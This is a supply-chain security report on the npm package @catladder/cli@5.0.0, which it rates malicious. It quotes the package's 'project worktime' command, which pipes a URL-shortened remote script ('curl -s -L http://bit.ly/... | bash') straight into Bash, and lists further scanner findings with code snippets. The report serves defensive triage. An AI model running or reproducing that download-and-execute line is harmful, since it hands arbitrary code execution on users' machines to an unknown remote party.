--- canonical: "https://firewall.lpm.dev/npm/@catladder/cli/v/5.0.0" markdown: "https://firewall.lpm.dev/npm/@catladder/cli/v/5.0.0.md" package: "@catladder/cli" report_status: "published" title: "@catladder/cli@5.0.0 npm security report" verdict: "malicious" version: "5.0.0" --- # @catladder/cli@5.0.0 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Arbitrary remote code execution with the invoking user's privileges. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Remote Code Execution - **Selected version:** 5.0.0 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) An explicit CLI command fetches an opaque remote payload and immediately executes it in Bash. The fetched content is unconstrained by the packaged source. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-08-13T16:10:51.685Z - **Finished:** 2026-08-13T16:12:00.522Z - **Download time:** 1535 ms - **Static scan time:** 16349 ms - **AI review time:** 50953 ms - **Total time:** 68837 ms ## Security analysis ### Published attack-surface review - **Summary:** An explicit CLI command fetches an opaque remote payload and immediately executes it in Bash. The fetched content is unconstrained by the packaged source. - **Trigger:** User runs \`catladder project worktime\`. - **Impact:** Arbitrary remote code execution with the invoking user's privileges. - **Evidence paths:** src/commands/project/commandGetMyTotalWorktime.ts, src/commands/index.ts, package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-13T16:12:00.522Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** remote download piped to Bash - **Attack narrative:** After a user invokes \`catladder project worktime\`, the command runs \`curl -s -L http://bit.ly/3VQEKNq | bash\` through \`sh -c\`. A URL shortener obscures the ultimate host and the downloaded script is neither pinned nor verified, letting its operator supply arbitrary shell commands at runtime. - **Rationale:** The package contains a concrete remote-code-execution chain, albeit behind an explicit command rather than install-time execution. This is maliciously unsafe distribution behavior because it executes an opaque, mutable remote payload. - **Network endpoints:** http://bit.ly/3VQEKNq ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** \`project worktime\` downloads a shortened URL and pipes it directly to Bash., The remote script runs through \`sh -c\`, with no integrity check or user review. - **Evidence against:** package.json has no preinstall, install, postinstall, or prepare hook., The payload executes only when the user invokes the registered \`project worktime\` command. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. Medium: Secret Pattern - **Category:** Secrets - **Confidence:** 75.0% - **Path:** dist/packages/pipeline/src/backends/github/githubReleaseJobs.js - **Public source:** [View source]() Package contains a possible secret pattern. Public source snippet (untrusted): ```javascript patternName = generic_password severity = medium line = 41 matchedText = password...}}", ``` ### 3. High: Child Process - **Category:** Source - **Confidence:** 85.0% - **Path:** dist/packages/pipeline/src/pipeline/detectPackageManager.js - **Public source:** [View source]() Package source references child process execution. Public source snippet (untrusted): ```javascript L6: exports.detectPackageManager = exports.parsePackageManagerField = void 0; L7: const child_process_promise_1 = require("child-process-promise"); L8: const fs_1 = require("fs"); ``` ### 4. High: Shell - **Category:** Source - **Confidence:** 85.0% Package source references shell execution. ### 5. High: Eval - **Category:** Source - **Confidence:** 80.0% - **Path:** dist/bundles/catci/index.js - **Public source:** [View source]() Package source references dynamic code evaluation. Public source snippet (untrusted): ```javascript L24: * Released under the MIT License. L25: */const n=r(952);const toRegexRange=(e,t,r)=>{if(n(e)===false){throw new TypeError("toRegexRange: expected the first argument to be a number")}if(t===void 0||e===t){return String(e... ``` ### 6. Medium: Dynamic Require - **Category:** Source - **Confidence:** 75.0% - **Path:** dist/packages/pipeline/src/pipeline/projectFiles.js - **Public source:** [View source]() Package source references dynamic require/import behavior. Public source snippet (untrusted): ```javascript L3: exports.projectFileExists = void 0; L4: const fs_1 = require("fs"); L5: /** ``` ### 7. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 8. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 9. Medium: Install Persistence - **Category:** Source - **Confidence:** 75.0% - **Path:** dist/apps/cli/src/completion.js - **Public source:** [View source]() Source writes installer persistence such as shell profile or service configuration. Public source snippet (untrusted): ```javascript L189: function getZshrcPath() { L190: return (0, path_1.join)((0, os_1.homedir)(), ".zshrc"); L191: } ``` ### 10. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 11. High: Same File Env Network Execution - **Category:** Source - **Confidence:** 85.0% - **Path:** dist/bundles/catci/index.js - **Public source:** [View source]() A single source file combines environment access, network access, and code or shell execution; review context before blocking. Public source snippet (untrusted): ```javascript L1: (()=>{var __webpack_modules__={403:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.gitConfigSet=t.gitConfigGet=void 0;const n=r(1542);const argsJoin=e=>... L2: /*! ``` ### 12. High: Entrypoint Foreign Package Code Overwrite - **Category:** Source - **Confidence:** 94.0% - **Path:** dist/bundles/catenv/index.js - **Public source:** [View source]() Manifest-reachable source overwrites another installed package with package-defined remote behavior. Public source snippet (untrusted): ```javascript Manifest-reachable source resolves another installed package, overwrites its runtime code, and injects package-defined remote behavior. dist/bundles/catenv/index.js: (0, open_1.default)(`https://${gitRemoteHost}/-/user_settings/personal_access_tokens`); const result = await (0, node_fetch_1.default)(`https://${gitRemoteHost}/api/v4/${path}`, { const maskableRegex = new RegExp("^[a-zA-Z0-9_+=/@:.~-]{8,}$"); // SEE https://gitlab.com/gitlab-org/gitlab-foss/-/blob/master/spec/frontend/ci_variable_list/components/ci_variable... return (0, promises_1.writeFile)(preferencesPath, "---\n{}", { await (0, promises_1.writeFile)(preferencesPath, (0, yaml_1.stringify)(newPreferences), { await (0, promises_1.writeFile)((0, path_1.join)(folder, ".gitignore"), "*\n"); await (0, promises_1.writeFile)(await ``` ### 13. High: Command Output Exfiltration - **Category:** Source - **Confidence:** 82.0% - **Path:** dist/bundles/catci/index.js - **Public source:** [View source]() Source combines command execution, command-output handling, and outbound requests; review data flow before blocking. Public source snippet (untrusted): ```javascript L1: (()=>{var __webpack_modules__={403:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.gitConfigSet=t.gitConfigGet=void 0;const n=r(1542);const argsJoin=e=>... L2: /*! ``` ### 14. Critical: Download Execute - **Category:** Source - **Confidence:** 90.0% - **Path:** src/commands/project/commandGetMyTotalWorktime.ts - **Public source:** [View source]() Source downloads or fetches remote code and executes it. Public source snippet (untrusted): ```typescript L9: execute: async () => { L10: await spawn("sh", ["-c", "curl -s -L http://bit.ly/3VQEKNq | bash"], { L11: stdio: ["pipe", "inherit", "pipe"], ``` ### 15. High: Sandbox Evasion Gated Capability - **Category:** Source - **Confidence:** 84.0% - **Path:** dist/apps/cli/src/publish/npmPublishJob.js - **Public source:** [View source]() Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks. Public source snippet (untrusted): ```javascript L6: * derives version + dist-tag from the pipeline trigger, stamps the L7: * version into the package's package.json and runs `npm publish`. L8: */ L9: const child_process_1 = require("child_process"); L10: const promises_1 = require("fs/promises"); ... L12: const npm[redacted] = require("./npmPublishPlan"); L13: exports.DEFAULT_NPM_REGISTRY = "https://registry.npmjs.org/"; L14: /** ... L19: var _a, _b, _c, _d; L20: const env = process.env; L21: if (env.GITLAB_CI === "true") { L22: return { ``` ### 16. High: Cross File Remote Execution Context - **Category:** Source - **Confidence:** 72.0% - **Path:** dist/bundles/catenv/index.js - **Public source:** [View source]() Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking. Public source snippet (untrusted): ```javascript Cross-file remote execution chain: dist/bundles/catenv/index.js spawns dist/bundles/catci/index.js; helper contains network access plus dynamic code execution. L66: * the context of non-interactive runs (catenv via direnv): logging L67: * goes to stderr, any required interaction fails with a clear error. L68: */ ... L433: const gitRoot = await (0, projects_1.getGitRoot)(); L434: const currentDir = process.cwd(); L435: return Object.keys(config.components).find((c) => currentDir.startsWith((0, exports.getComponentFullPath)(gitRoot, config, c))); ... L478: } L479: return `${componentName}: http://localhost:${port}`; L480: })).then((lines) => lines.filter(Boolean)); ... L869: exports.gitConfigSet = exports.gitConfigGet = void 0; L870: const child_process_promise_1 = __nccwpck_require__(11542) ``` ### 17. High: Runtime Package Install - **Category:** Source - **Confidence:** 86.0% - **Path:** dist/apps/cli/src/commands/project/commandOpenGit.js - **Public source:** [View source]() Package source invokes a package manager install command at runtime. Public source snippet (untrusted): ```javascript L11: execute: async () => { L12: await (0, child_process_promise_1.exec)("npx git-open"); L13: }, ``` ### 18. Medium: Protestware - **Category:** Supply Chain - **Confidence:** 90.0% Package source has broad protestware-like patterns that need review. ### 19. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 20. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 21. Medium: Ships Native Binary - **Category:** Artifact Inventory - **Confidence:** 75.0% - **Path:** dist/bundles/cli/xsel - **Public source:** [View source]() Package ships native binary artifacts. Public source snippet (untrusted): ```text path = dist/bundles/cli/xsel kind = native_binary sizeBytes = 129416 magicHex = [redacted] ``` ### 22. Medium: Ships Compressed Blob - **Category:** Artifact Inventory - **Confidence:** 70.0% - **Path:** dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz - **Public source:** [View source]() Package ships compressed or archive-like blobs. Public source snippet (untrusted): ```text path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = compressed_blob sizeBytes = 5696 magicHex = [redacted] ``` ### 23. High: Ships High Entropy Blob - **Category:** Artifact Inventory - **Confidence:** 75.0% - **Path:** dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz - **Public source:** [View source]() Package ships high-entropy non-source blobs. Public source snippet (untrusted): ```text path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = high_entropy_blob sizeBytes = 5696 magicHex = [redacted] ``` ### 24. Medium: Oversized Source File - **Category:** Artifact Inventory - **Confidence:** 70.0% - **Path:** dist/bundles/cli/index.js - **Public source:** [View source]() Package contains source files above the normal full-analysis size ceiling. Public source snippet (untrusted): ```javascript path = dist/bundles/cli/index.js kind = oversized_source_file sizeBytes = 14840229 magicHex = [redacted] ``` ### 25. Low: Nested Archive Needs Inspection - **Category:** Artifact Inventory - **Confidence:** 80.0% - **Path:** dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz - **Public source:** [View source]() Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed. Public source snippet (untrusted): ```text path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = nested_archive_needs_inspection sizeBytes = 5696 magicHex = [redacted] ``` ### 26. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 100.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 27. Medium: Secret Pattern - **Category:** Secrets - **Confidence:** 75.0% - **Path:** dist/packages/pipeline/src/backends/github/githubReleaseJobs.js - **Public source:** [View source]() Hardcoded password in dist/packages/pipeline/src/backends/github/githubReleaseJobs.js Public source snippet (untrusted): ```javascript patternName = generic_password severity = medium line = 247 matchedText = password...}}", ``` ### 28. Medium: Secret Pattern - **Category:** Secrets - **Confidence:** 75.0% - **Path:** dist/packages/pipeline/src/backends/github/createGithubJobs.js - **Public source:** [View source]() Hardcoded password in dist/packages/pipeline/src/backends/github/createGithubJobs.js Public source snippet (untrusted): ```javascript patternName = generic_password severity = medium line = 345 matchedText = password...}}", ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 1 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 42 - **Published dependency-graph edges:** 1 ### Published dependency entries - tsx ^4.21.0 (Dependency) ## Package metadata - **Package:** @catladder/cli - **Ecosystem:** npm - **Version:** 5.0.0 - **License:** MIT - **Version published:** 2026-08-13T15:57:08.635Z - **Package first seen:** 2026-07-01T04:53:46.314Z - **Package last seen:** 2026-08-13T16:12:00.522Z - **Known versions:** 2 - **Latest version:** 5.0.0 - **Appeal under review:** No - **Description:** Panter cli tool for cloud CI/CD and DevOps - **Author:** Marco Wettstein - **Keywords:** GitLab, cloud, cli, gitlab-ci, ci/cd, pipeline, deployment, devops, automation, typescript - **Runtime engines:** node: \>=18.0.0 - **Artifact files:** 1325 - **Artifact unpacked size:** 24,326,748 bytes - **Artifact signatures:** 1 - **Attestations:** Yes ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]()